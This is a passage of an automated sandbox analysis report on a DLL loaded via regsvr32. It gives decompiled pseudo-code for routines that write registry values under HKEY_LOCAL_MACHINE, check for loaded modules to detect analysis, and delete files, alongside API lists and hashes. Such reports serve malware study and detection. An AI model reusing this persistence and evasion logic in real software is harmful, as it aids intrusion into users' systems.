0x10007f83
0x10007f88
0x10007f8a
0x10007f8f
0x10007f95
0x10007f95
0x10007f95
0x10007f99
0x10007f9b
0x10007fa3
0x10007fa4
0x10007fa7
0x10007faa
0x10007fab
0x10007faf
0x10007fb9
0x10007fbe
0x10007fc0
0x10007fc8
0x10007fc9
0x10007fcc
0x10007fcf
0x10007fd0
0x10007fd4
0x10007fd9
0x10007fe1
0x10007fe5
0x10007ff2
0x10007ff9
0x10008014
0x00000000
0x10008019
0x00000000
0x10007fe7
0x10007fe7
0x10007fee
0x10008032
0x10008032
0x10008039
0x1000803d
0x10008042
0x10008048
0x1000804d
0x10008050
0x10008051
0x10008053
0x10008055
0x1000805a
0x10008061
0x100080a6
0x10008063
0x10008068
0x10008070
0x10008074
0x1000807f
0x1000808b
0x10008092
0x10008099
0x1000809d
0x1000809d
0x10008061
0x100080ac
0x100080af
0x100080b1
0x100080b7
0x100080b7
0x100080b9
0x100080b9
0x100080b9
0x00000000
0x100080b9
0x10007ffb
0x10008005
0x1000801c
0x1000801c
0x1000801e
0x1000802d
0x00000000
0x1000802d
0x10008020
0x00000000
0x10008020
0x10007fe5
0x10007e2f
0x10007e36
0x10007e41
0x10007e56
0x10007e5c
0x10007e5f
0x10007e77
0x10007e7c
0x10007e86
0x00000000
0x10007e8b
0x10007e67
0x10007e70
0x00000000
0x10007e70
0x10007ddb
0x10007de1
0x10007de3
0x10007e1a
0x10007e1c
0x00000000
0x00000000
0x10007e1e
0x10007e1f
0x00000000
0x10007e24
0x10007dea
0x10007dee
0x10007df5
0x10007e02
0x10007e06
0x10007e10
0x10007e15
0x00000000
0x10007e15
0x10007da9
0x00000000
0x10007da9
0x10007d36
0x10007d3b
0x10007d40
0x00000000
0x00000000
0x10007d42
0x00000000

APIs

memset.MSVCRT ref: 10007CEF

Part of subcall function 1000265C: CreateDirectoryW.KERNEL32(?,00000000), ref: 1000277D

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: CreateDirectorymemset
String ID:
API String ID: 3723748485-0
Opcode ID: b4df8ce15ed8e04678cd89883f5b429136b6abc0e2c318399de689777cf4c339
Instruction ID: 1c2be9021eb0b19dfe4909b0ba5a324db673f5b2f4cdf5c4974dc5ab3ef1c879
Opcode Fuzzy Hash: b4df8ce15ed8e04678cd89883f5b429136b6abc0e2c318399de689777cf4c339
Instruction Fuzzy Hash: 1EB1C272508305AFE310DF60DC86E6F77E8FF857A0F10092AF59896195DB34EA458BA2

Uniqueness

Uniqueness Score: -1.00%

Function 1000979B, Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(0000008F), ref: 100097B1
SysAllocString.OLEAUT32(?), ref: 100097B9
SysAllocString.OLEAUT32(00000000), ref: 100097CD
SysFreeString.OLEAUT32(?), ref: 10009847
SysFreeString.OLEAUT32(00000000), ref: 1000984C
SysFreeString.OLEAUT32(?), ref: 10009851

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 97fa4c76b9b40d0a03b3293f0a1cf26f71b7576a55989a2d57511dbe36f38f74
Instruction ID: 46f8e4cd546222f895317cb1ad91f6b39145ec0e4005565242426d52850e8648
Opcode Fuzzy Hash: 97fa4c76b9b40d0a03b3293f0a1cf26f71b7576a55989a2d57511dbe36f38f74
Instruction Fuzzy Hash: 6121D375D00219AFDF01DFE5CC888AEBFB9FF08294B10849AF905AB251DB319E51DB90

Uniqueness

Uniqueness Score: -1.00%

Function 1000CAD0, Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 205
registryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E1000CAD0(void* __ecx, void* _a4, short* _a8, short* _a12, int _a16, char* _a20, int _a24) {
				signed int _v8;
				void* _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v156;
				signed int _t68;
				intOrPtr _t70;
				intOrPtr _t75;
				signed int _t76;
				signed int _t77;
				void* _t81;
				void* _t82;
				void* _t83;
				void* _t84;
				char _t88;
				signed int _t99;
				void* _t102;
				signed int _t104;
				void* _t112;
				void* _t113;
				void* _t114;
				char _t118;
				intOrPtr _t122;
				void* _t128;
				intOrPtr _t129;
				intOrPtr _t131;
				int _t143;
				char* _t146;
				signed int _t147;
				void* _t148;
				void* _t151;
				void* _t152;
				void* _t154;

				if(_a4 != 0x80000002) {
					L27:
					_t143 = 0;
					L28:
					_t68 = RegOpenKeyExW(_a4, _a8, _t143, 2,  &_v12);
					if(_t68 == 0) {
						if(_a20 == _t143) {
							if(RegDeleteValueW(_v12, _a12) == 0) {
								L37:
								L34:
								_t70 =  *0x1002b76c; // 0x121fa78
								 *((intOrPtr*)(_t70 + 0x1c))(_v12);
								return 0;
							}
							_push(0xfffffffd);
							L33:
							_pop(0);
							goto L34;
						}
						if(RegSetValueExW(_v12, _a12, _t143, _a16, _a20, _a24) == 0) {
							goto L37;
						}
						_push(0xfffffffe);
						goto L33;
					}
					return _t68 | 0xffffffff;
				}
				_t75 =  *0x1002b740; // 0x11a04a0
				if( *((short*)(_t75 + 0x9c)) != 9) {
					goto L27;
				}
				_t76 =  *0x1002b760; // 0x121f8b0
				_t143 = 0;
				if( *((intOrPtr*)(_t76 + 0x6c)) == 0) {
					goto L28;
				}
				_t146 = _a20;
				_v28 = 0;
				_v8 = 0;
				if(_t146 == 0) {
					L21:
					_t77 = _v8;
					L22:
					return _t77;
				}
				if( *((intOrPtr*)(_t76 + 0x60)) == 0 ||  *((intOrPtr*)(_t76 + 0x64)) == 0) {
					_t77 = _t76 | 0xffffffff;
					goto L22;
				} else {
					_a4 = E10008A90(__ecx, 0xca6);
					if(_a16 != 4) {
						if(_a16 != 1) {
							_push(0xfffffffc);
							L25:
							_pop(_t147);
							E1000A741( &_a4);
							_t77 = _t147;
							goto L22;
						}
						_t122 =  *0x1002b740; // 0x11a04a0
						_t81 = E1000C8FB(_t122 + 0x1020);
						_t17 = _t146 + 0x28; // 0x11a05dc
						_t82 = E1000C8FB(_t17);
						_t83 = E1000C8FB(_a4);
						_t84 = E1000C8FB(_a8);
						_t148 = _t81 + _t82 + _t83 + _t84 + E1000C8FB(_a12) + 1;
						L10:
						_t118 = E10009568(_t148 + _t148 + 2);
						_pop(_t128);
						_v20 = _t118;
						if(_t118 != _t143) {
							_t88 = E10008A90(_t128, 0x44);
							_t129 =  *0x1002b740; // 0x11a04a0
							_v24 = _t88;
							_t144 = E1000AF04(_t118, _t148, _t88, _t129 + 0x1020);
							_t152 = _t151 + 0x14;
							if(_t89 <= 0) {
								_v8 = 0xfffffffa;
							} else {
								if(_a16 != 4) {
									_push(_a20);
									_push(_a12);
									_push(L"REG_SZ");
									E1000AF04(_t118 + _t144 * 2, _t148 - _t144, _a4, _a8);
									_t154 = _t152 + 0x1c;
								} else {
									E1000AF04( &_v156, 0x40, L"%u",  *_a20);
									_push( &_v156);
									_push(_a12);
									_push(L"REG_DWORD");
									E1000AF04(_t118 + _t144 * 2, _t148 - _t144, _a4, _a8);
									_t154 = _t152 + 0x2c;
								}
								_t99 =  *0x1002b760; // 0x121f8b0
								 *((intOrPtr*)(_t99 + 0x60))( &_v16);
								_t102 = E1000A2BE(_t118,  &_v28, 0x1388, 1);
								_t152 = _t154 + 0x10;
								if(_t102 == 0) {
									_v8 = 0xfffffff9;
								}
								_t104 =  *0x1002b760; // 0x121f8b0
								 *((intOrPtr*)(_t104 + 0x64))( &_v16);
							}
							E100094F4( &_v20, 0xfffffffe);
							E1000A741( &_v24);
							E1000A741( &_a4);
							goto L21;
						}
						_push(0xfffffffb);
						goto L25;
					}
					_t131 =  *0x1002b740; // 0x11a04a0
					_t112 = E1000C8FB(_t131 + 0x1020);
					_t113 = E1000C8FB(_a4);
					_t114 = E1000C8FB(_a8);
					_t148 = _t112 + _t113 + _t114 + E1000C8FB(_a12) + 0x29;
					goto L10;
				}
			}

0x1000cae2
0x1000cce8
0x1000cce8
0x1000ccea
0x1000ccf7
0x1000ccff
0x1000cd09
0x1000cd45
0x1000cd4b
0x1000cd28
0x1000cd2b
0x1000cd30
0x00000000
0x1000cd33
0x1000cd47
0x1000cd27
0x1000cd27
0x00000000
0x1000cd27
0x1000cd23
0x00000000
0x00000000
0x1000cd25
0x00000000
0x1000cd25
0x00000000
0x1000cd01
0x1000cae8
0x1000caf5
0x00000000
0x00000000
0x1000cafb
0x1000cb00
0x1000cb05
0x00000000
0x00000000
0x1000cb0b
0x1000cb0f
0x1000cb12
0x1000cb17
0x1000ccca
0x1000ccca
0x1000cccd
0x00000000
0x1000cccd
0x1000cb20
0x1000cce3
0x00000000
0x1000cb2f
0x1000cb3e
0x1000cb41
0x1000cb7c
0x1000ccd2
0x1000ccd4
0x1000ccd7
0x1000ccd9
0x1000ccdf
0x00000000
0x1000ccdf
0x1000cb82
0x1000cb8e
0x1000cb93
0x1000cb98
0x1000cba2
0x1000cbac
0x1000cbbb
0x1000cbbf
0x1000cbc9
0x1000cbcb
0x1000cbcc
0x1000cbd1
0x1000cbdc
0x1000cbe1
0x1000cbf1
0x1000cbf9
0x1000cbfb
0x1000cc00
0x1000cca3
0x1000cc06
0x1000cc0a
0x1000cc4a
0x1000cc4f
0x1000cc55
0x1000cc62
0x1000cc67
0x1000cc0c
0x1000cc1f
0x1000cc2a
0x1000cc2b
0x1000cc30
0x1000cc40
0x1000cc45
0x1000cc45
0x1000cc6e
0x1000cc73
0x1000cc82
0x1000cc87
0x1000cc8c
0x1000cc8e
0x1000cc8e
0x1000cc99
0x1000cc9e
0x1000cc9e
0x1000ccb0
0x1000ccb9
0x1000ccc2
0x00000000
0x1000ccc7
0x1000cbd3
0x00000000
0x1000cbd3
0x1000cb43
0x1000cb4f
0x1000cb59
0x1000cb63
0x1000cb72
0x00000000
0x1000cb72

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000002,80000002,00000000,00000001), ref: 1000CCF7
RegSetValueExW.ADVAPI32(80000002,?,00000000,?,011A05B4,000003E6), ref: 1000CD1B
RegDeleteValueW.ADVAPI32(80000002,?,?,?,?,?,?,?,?,?,?,?,?,?,100059AB,1001B607), ref: 1000CD3D

Part of subcall function 1000AF04: _vsnwprintf.MSVCRT ref: 1000AF21

Strings

REG_SZ, xrefs: 1000CC55
REG_DWORD, xrefs: 1000CC30

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: Value$DeleteOpen_vsnwprintf
String ID: REG_DWORD$REG_SZ
API String ID: 3817759962-1027521805
Opcode ID: 8b0ed1225b1736de0367a9bc391cfaed219ab24bf37c00354df3786002b3dc86
Instruction ID: e5f11ffc36ddbb22bc6c06be515207eda560d62eb9a591ecf9c343ed81036b4b
Opcode Fuzzy Hash: 8b0ed1225b1736de0367a9bc391cfaed219ab24bf37c00354df3786002b3dc86
Instruction Fuzzy Hash: 02717D7590070DABFB10DFA8CC89D9E3BB9FB45390F108225F919A71A9DB30DA52DB50

Uniqueness

Uniqueness Score: -1.00%

Function 1000851D, Relevance: 7.8, APIs: 5, Instructions: 342
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E1000851D(intOrPtr __eax, void* __ecx, intOrPtr __edx, void* __fp0) {
				char _v40;
				char _v44;
				char _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr _v66;
				intOrPtr _v68;
				char _v72;
				WCHAR* _v76;
				WCHAR* _v80;
				signed short _v84;
				signed short _v88;
				CHAR* _v92;
				CHAR* _v96;
				WCHAR* _v100;
				void* __edi;
				intOrPtr _t83;
				signed int _t85;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr _t93;
				intOrPtr* _t94;
				WCHAR* _t97;
				intOrPtr _t98;
				intOrPtr _t103;
				intOrPtr _t106;
				WCHAR* _t107;
				WCHAR* _t113;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t122;
				signed int _t125;
				signed int _t128;
				WCHAR* _t132;
				intOrPtr _t134;
				intOrPtr _t137;
				WCHAR* _t139;
				intOrPtr _t143;
				intOrPtr _t154;
				signed int _t158;
				WCHAR* _t162;
				intOrPtr* _t169;
				intOrPtr _t172;
				CHAR* _t176;
				intOrPtr _t183;
				signed int _t185;
				WCHAR* _t186;
				void* _t187;
				intOrPtr _t189;
				intOrPtr _t195;
				signed int _t197;
				void* _t198;
				signed int _t205;
				void* _t206;
				intOrPtr _t208;
				intOrPtr _t213;
				void* _t218;
				char* _t223;
				signed int _t225;
				WCHAR* _t228;
				WCHAR* _t230;
				intOrPtr _t232;
				signed int _t233;
				intOrPtr _t234;
				void* _t257;

				_t257 = __fp0;
				_t213 = __edx;
				_t187 = __ecx;
				_t183 = __eax;
				_t83 =  *0x1002b740; // 0x11a04a0
				_t228 = 0;
				_t218 = 0;
				if(( *(_t83 + 0x1898) & 0x00000082) == 0) {
					L9:
					_t85 = E100080C9(_t187, __eflags);
					__eflags = _t85;
					if(_t85 == 0) {
						L7:
						_t86 = _t85 | 0xffffffff;
						L36:
						return _t86;
					}
					 *0x1002b7fc = E1000E6ED(0x10028358, 0x10, 0xce8);
					_t88 =  *0x1002b740; // 0x11a04a0
					_t11 = _t88 + 0x114; // 0x11a05b4
					E10007CC7(_t213, _t257,  *((intOrPtr*)( *((intOrPtr*)(_t88 + 0x110)))), _t11, _t183, _t228, _t228);
					_t189 =  *0x1002b740; // 0x11a04a0
					__eflags =  *((intOrPtr*)(_t189 + 0x101c)) - 3;
					if( *((intOrPtr*)(_t189 + 0x101c)) == 3) {
						L14:
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_v52 = _t183;
						_v56 =  *((intOrPtr*)(_t189 + 0x214));
						_t93 =  *0x1002b7fc; // 0x0
						_t94 =  *((intOrPtr*)(_t93 + 8));
						__eflags = _t94 - _t228;
						if(__eflags != 0) {
							 *_t94(_t228, _t228, 1,  &_v48,  &_v44);
						}
						E100134CF(__eflags,  &_v56);
						_pop(_t189);
						__eflags =  *0x1002b84c - _t228; // 0x0
						if(__eflags <= 0) {
							L30:
							_t97 = E10008A90(_t189, 5);
							_push(_t228);
							_push(_t97);
							_v80 = _t97;
							_t98 =  *0x1002b740; // 0x11a04a0
							_t230 = E1000ABBC(_t98 + 0x228);
							_v76 = _t230;
							__eflags = _t230;
							if(_t230 != 0) {
								_t113 = E1000B8D9(_t230);
								__eflags = _t113;
								if(_t113 != 0) {
									DeleteFileW(_t230);
								}
								E100094F4( &_v76, 0xfffffffe);
							}
							E1000A741( &_v80);
							_t103 =  *0x1002b740; // 0x11a04a0
							lstrcpynW(_t103 + 0x438,  *0x1002b7f0, 0x20a);
							_t106 =  *0x1002b740; // 0x11a04a0
							_t107 = _t106 + 0x228;
							__eflags = _t107;
							lstrcpynW(_t107,  *0x1002b7f8, 0x20a);
							_t232 =  *0x1002b740; // 0x11a04a0
							_t80 = _t232 + 0x228; // 0x11a06c8
							 *((intOrPtr*)(_t232 + 0x434)) = E1000A986(_t80);
							E100094F4(0x1002b7f0, 0xfffffffe);
							E100094F4(0x1002b7f8, 0xfffffffe);
							goto L35;
						} else {
							_t117 =  *0x1002b7fc; // 0x0
							__eflags =  *((intOrPtr*)(_t117 + 8)) - _t228;
							if( *((intOrPtr*)(_t117 + 8)) != _t228) {
								_t169 =  *((intOrPtr*)(_t117 + 0xc));
								__eflags = _t169 - _t228;
								if(_t169 != _t228) {
									 *_t169(_v48);
								}
							}
							_t118 =  *0x1002b740; // 0x11a04a0
							_t189 =  *((intOrPtr*)(_t118 + 0x214));
							__eflags = _t189 - 3;
							if(_t189 == 3) {
								goto L30;
							} else {
								__eflags =  *((intOrPtr*)(_t118 + 4)) - 6;
								if( *((intOrPtr*)(_t118 + 4)) >= 6) {
									__eflags =  *((intOrPtr*)(_t118 + 0x101c)) - 3;
									if( *((intOrPtr*)(_t118 + 0x101c)) != 3) {
										goto L30;
									}
									E100083C8();
									asm("stosd");
									asm("stosd");
									asm("stosd");
									asm("stosd");
									_t122 =  *0x1002b760; // 0x121f8b0
									 *((intOrPtr*)(_t122 + 0xd8))( &_v72);
									_t195 = _v66;
									_t125 = _t195 + 0x00000002 & 0x0000ffff;
									asm("cdq");
									_t233 = 0x3c;
									_t234 = _v68;
									_t185 = _t125 / _t233 + _t234 & 0x0000ffff;
									_t128 = _t195 + 0x0000000e & 0x0000ffff;
									_v84 = _t125 % _t233;
									asm("cdq");
									_t197 = 0x3c;
									_v92 = _t128 % _t197;
									_v88 = _t128 / _t197 + _t234 & 0x0000ffff;
									_t132 = E10009568(0x1000);
									_pop(_t198);
									_v100 = _t132;
									__eflags = _t132;
									if(_t132 != 0) {
										_v96 = E10004FBA(_t198, 0x1b3);
										_t134 =  *0x1002b740; // 0x11a04a0
										_t223 =  &_v40;
										E1000AC12(_t223, 2, 7, 0xa, _t134 + 0x648);
										_t137 =  *0x1002b740; // 0x11a04a0
										_t139 = E10005B71(_t137 + 0x228, 1,  *((intOrPtr*)(_t137 + 0xa0)));
										_v80 = _t139;
										__eflags = _t139;
										if(_t139 != 0) {
											_push(_v92 & 0x0000ffff);
											_push(_v88 & 0x0000ffff);
											_push(_v84 & 0x0000ffff);
											_push(_t185);
											_push(_t139);
											_push(_t223);
											_t143 =  *0x1002b740; // 0x11a04a0
											__eflags = _t143 + 0x1020;
											E1000AF04(_v100, 0x1000, _v96, _t143 + 0x1020);
											E1000A741( &_v96);
											E1000A2BE(_v100, 0, 0xbb8, 1);
											E100094F4( &_v80, 0xfffffffe);
										}
										E100094F4( &_v100, 0xfffffffe);
									}
									L35:
									_t86 = 0;
									__eflags = 0;
									goto L36;
								}
								__eflags = _t189 - 2;
								if(_t189 != 2) {
									goto L30;
								}
								E100083C8();
								asm("stosd");
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_t154 =  *0x1002b760; // 0x121f8b0
								 *((intOrPtr*)(_t154 + 0xd8))( &_v72);
								_t158 = _v66 + 0x00000002 & 0x0000ffff;
								asm("cdq");
								_t205 = 0x3c;
								_v96 = _t158 % _t205;
								_t225 = _t158 / _t205 + _v68 & 0x0000ffff;
								_t186 = E10009568(0x1000);
								_pop(_t206);
								_v92 = _t186;
								__eflags = _t186;
								if(_t186 != 0) {
									_t162 = E10008A90(_t206, 0x10c);
									_t208 =  *0x1002b740; // 0x11a04a0
									_push(_t208 + 0x228);
									_push(_v96 & 0x0000ffff);
									_v100 = _t162;
									E1000AF04(_t186, 0x1000, _t162, _t225);
									E1000A741( &_v100);
									E1000A2BE(_t186, 0, 0xbb8, 1);
									E100094F4( &_v92, 0xfffffffe);
								}
								goto L35;
							}
						}
					}
					_t172 =  *((intOrPtr*)(_t189 + 0x214));
					__eflags = _t172 - 3;
					if(_t172 == 3) {
						goto L14;
					}
					__eflags =  *((intOrPtr*)(_t189 + 4)) - 6;
					if( *((intOrPtr*)(_t189 + 4)) >= 6) {
						goto L30;
					}
					__eflags = _t172 - 2;
					if(_t172 != 2) {
						goto L30;
					}
					goto L14;
				}
				_push(0x6f);
				_v96 = E10008A79();
				_push(0x37);
				_t176 = E10008A79();
				_v92 = _t176;
				if(_v96 == 0 || _t176 == 0) {
					goto L9;
				} else {
					if(GetModuleHandleA(_v96) != 0 || GetModuleHandleA(_v92) != 0) {
						_t218 = 1;
					}
					E1000A72E( &_v96);
					_t85 = E1000A72E( &_v92);
					if(_t218 == 0) {
						_t228 = 0;
						__eflags = 0;
						goto L9;
					}
					goto L7;
				}
			}

0x1000851d
0x1000851d
0x1000851d
0x10008527
0x10008529
0x10008536
0x10008538
0x1000853c
0x1000859d
0x1000859d
0x100085a2
0x100085a4
0x10008593
0x10008593
0x10008938
0x1000893e
0x1000893e
0x100085bb
0x100085c0
0x100085c6
0x100085d6
0x100085db
0x100085e4
0x100085eb
0x1000860b
0x10008611
0x10008612
0x10008613
0x10008614
0x10008615
0x10008616
0x10008620
0x10008624
0x10008629
0x1000862c
0x1000862e
0x1000863e
0x1000863e
0x10008645
0x1000864a
0x1000864b
0x10008651
0x1000887b
0x1000887d
0x10008883
0x10008884
0x10008885
0x10008889
0x10008899
0x1000889e
0x100088a2
0x100088a4
0x100088a7
0x100088ad
0x100088af
0x100088b2
0x100088b2
0x100088bf
0x100088c5
0x100088cb
0x100088d0
0x100088ee
0x100088f0
0x100088fc
0x100088fc
0x10008902
0x10008904
0x1000890a
0x1000891c
0x10008922
0x1000892e
0x00000000
0x10008657
0x10008657
0x1000865c
0x1000865f
0x10008661
0x10008664
0x10008666
0x1000866c
0x1000866c
0x10008666
0x1000866e
0x10008673
0x10008679
0x1000867c
0x00000000
0x10008682
0x10008682
0x10008686
0x10008744
0x1000874b
0x00000000
0x00000000
0x10008751
0x1000875c
0x1000875d
0x1000875e
0x1000875f
0x10008765
0x1000876a
0x10008770
0x10008777
0x1000877a
0x1000877d
0x10008780
0x1000878b
0x1000878e
0x10008791
0x10008795
0x10008796
0x100087a4
0x100087a8
0x100087ac
0x100087b1
0x100087b2
0x100087b6
0x100087b8
0x100087c8
0x100087cc
0x100087de
0x100087e2
0x100087e7
0x100087fa
0x10008802
0x10008806
0x10008808
0x1000880f
0x10008815
0x1000881b
0x1000881c
0x1000881d
0x10008820
0x10008821
0x10008826
0x10008835
0x1000883f
0x10008854
0x10008860
0x10008865
0x1000886f
0x10008875
0x10008936
0x10008936
0x10008936
0x00000000
0x10008936
0x1000868c
0x1000868f
0x00000000
0x00000000
0x10008695
0x100086a0
0x100086a1
0x100086a2
0x100086a3
0x100086a9
0x100086ae
0x100086bb
0x100086be
0x100086c1
0x100086ce
0x100086d2
0x100086da
0x100086dc
0x100086dd
0x100086e1
0x100086e3
0x100086ee
0x100086f4
0x10008700
0x10008706
0x1000870b
0x1000870f
0x10008719
0x1000872b
0x10008737
0x1000873c
0x00000000
0x100086e3
0x1000867c
0x10008651
0x100085ed
0x100085f3
0x100085f6
0x00000000
0x00000000
0x100085f8
0x100085fc
0x00000000
0x00000000
0x10008602
0x10008605
0x00000000
0x00000000
0x00000000
0x10008605
0x1000853e
0x10008546
0x1000854a
0x1000854d
0x10008552
0x1000855a
0x00000000
0x10008560
0x1000856e
0x1000857c
0x1000857c
0x10008581
0x1000858a
0x10008591
0x1000859b
0x1000859b
0x00000000
0x1000859b
0x00000000
0x10008591

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000C), ref: 1000856A
GetModuleHandleA.KERNEL32(?,?,00000000,0000000C), ref: 10008574

Part of subcall function 1000ABBC: lstrcatW.KERNEL32(00000000,00000000), ref: 1000ABFC

DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,0000000C), ref: 100088B2
lstrcpynW.KERNEL32(011A0068,0000020A,?,?,?,?,?,?,?,?,?,00000000,0000000C), ref: 100088EE
lstrcpynW.KERNEL32(011A0278,0000020A,?,?,?,?,?,?,?,?,?,00000000,0000000C), ref: 10008902

Part of subcall function 1000B8D9: GetFileAttributesW.KERNELBASE(10002774,?,10002774,?), ref: 1000B8E4

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: FileHandleModulelstrcpyn$AttributesDeletelstrcat
String ID:
API String ID: 452920286-0
Opcode ID: ab88afd9a5872a5fd076fe918a9216e8ebb635ffd78833a543b9c310793a4aa0
Instruction ID: 1629637cdcf83667c739b08d91e06948b3dad4b247558e1868671f4c1d769111
Opcode Fuzzy Hash: ab88afd9a5872a5fd076fe918a9216e8ebb635ffd78833a543b9c310793a4aa0
Instruction Fuzzy Hash: BBB1F375508311AFF300DB68CC85E6B77E9FB88790F10462AF588E71A5DB34EA41CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1001DAA7, Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E1001DAA7(signed int __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				signed int _v8;
				signed int _v12;
				char _v28;
				signed int _t29;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				char* _t34;
				signed int _t35;
				signed int _t41;
				signed int _t49;
				signed int _t52;
				signed int _t56;
				signed int _t57;
				signed int _t58;
				void* _t60;
				signed int _t62;
				signed int _t64;
				void* _t65;
				void* _t66;
				void* _t67;

				_t64 = __eax;
				_t29 = _a8("\"", 1, _a12);
				_t67 = _t66 + 0xc;
				if(_t29 == 0) {
					_t31 = _a4 + __eax;
					__eflags = _t31;
					_t62 = __eax;
					_t49 = __eax;
					_v12 = _t31;
					while(1) {
						L3:
						__eflags = _t49 - _v12;
						if(_t49 >= _v12) {
							goto L14;
						} else {
							goto L4;
						}
						while(1) {
							L4:
							_t35 = E1001E487(_t62, _v12 - _t62,  &_v8);
							_t49 = _t35;
							_t67 = _t67 + 0xc;
							__eflags = _t49;
							if(_t49 == 0) {
								break;
							}
							_t32 = _v8;
							__eflags = _t32 - 0x5c;
							if(_t32 == 0x5c) {
								L15:
								__eflags = _t62 - _t64;
								if(_t62 == _t64) {
									L18:
									__eflags = _t49 - _t62;
									if(_t49 == _t62) {
										_t33 = _a8("\"", 1, _a12);
										L44:
										return _t33;
									}
									_t60 = 2;
									_t65 = 0xd;
									__eflags = _t32 - _t65;
									if(__eflags > 0) {
										__eflags = _t32 - 0x22;
										if(_t32 == 0x22) {
											_t34 = "\\\"";
											L40:
											_t35 = _a8(_t34, _t60, _a12);
											_t67 = _t67 + 0xc;
											__eflags = _t35;
											if(_t35 != 0) {
												break;
											}
											_t62 = _t49;
											_t64 = _t49;
											goto L3;
										}
										__eflags = _t32 - 0x2f;
										if(_t32 == 0x2f) {
											_t34 = "\\/";
											goto L40;
										}
										__eflags = _t32 - 0x5c;
										if(_t32 == 0x5c) {
											_t34 = "\\\\";
											goto L40;
										}
										L33:
										__eflags = _t32 - 0x10000;
										if(_t32 >= 0x10000) {
											_t41 = _t32 - 0x10000;
											_v8 = _t41;
											_t56 = _t41 & 0x000003ff | 0x0000dc00;
											__eflags = _t56;
											_push(_t56);
											_push((_t41 & 0x000ffc00 | 0x03600000) >> 0xa);
											_push("\\u%04X\\u%04X");
											_push(_t65);
											_push( &_v28);
											L1001EF02();
											_t67 = _t67 + 0x14;
											_push(0xc);
										} else {
											_push(_t32);
											_push("\\u%04X");
											_push(_t65);
											_push( &_v28);
											L1001EF02();
											_t67 = _t67 + 0x10;
											_push(6);
										}
										_pop(_t60);
										_t34 =  &_v28;
										goto L40;
									}
									if(__eflags == 0) {
										_t34 = "\\r";
										goto L40;
									}
									_t52 = _t32 - 8;
									__eflags = _t52;
									if(_t52 == 0) {
										_t34 = "\\b";
										goto L40;
									}
									_t57 = _t52 - 1;
									__eflags = _t57;
									if(_t57 == 0) {
										_t34 = "\\t";
										goto L40;
									}
									_t58 = _t57 - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t34 = "\\n";
										goto L40;
									}
									__eflags = _t58 != _t60;
									if(_t58 != _t60) {
										goto L33;
									}
									_t34 = "\\f";
									goto L40;
								}
								_t35 = _a8(_t64, _t62 - _t64, _a12);
								_t67 = _t67 + 0xc;
								__eflags = _t35;
								if(_t35 != 0) {
									break;
								}
								_t32 = _v8;
								goto L18;
							}
							__eflags = _t32 - 0x22;
							if(_t32 == 0x22) {
								goto L15;
							}
							__eflags = _t32 - 0x20;
							if(_t32 < 0x20) {
								goto L15;
							}
							__eflags = _a16 & 0x00000400;
							if((_a16 & 0x00000400) == 0) {
								L10:
								__eflags = _a16 & 0x00000040;
								if((_a16 & 0x00000040) == 0) {
									L12:
									_t62 = _t49;
									__eflags = _t49 - _v12;
									if(_t49 < _v12) {
										continue;
									}
									goto L15;
								}
								__eflags = _t32 - 0x7f;
								if(_t32 > 0x7f) {
									goto L15;
								}
								goto L12;
							}
							__eflags = _t32 - 0x2f;
							if(_t32 == 0x2f) {
								goto L15;
							}
							goto L10;
						}
						_t33 = _t35 | 0xffffffff;
						__eflags = _t33;
						goto L44;
						L14:
						_t32 = _v8;
						goto L15;
					}
				}
				return _t29 | 0xffffffff;
			}

0x1001dab1
0x1001daba
0x1001dabd
0x1001dac2
0x1001dad0
0x1001dad0
0x1001dad3
0x1001dad5
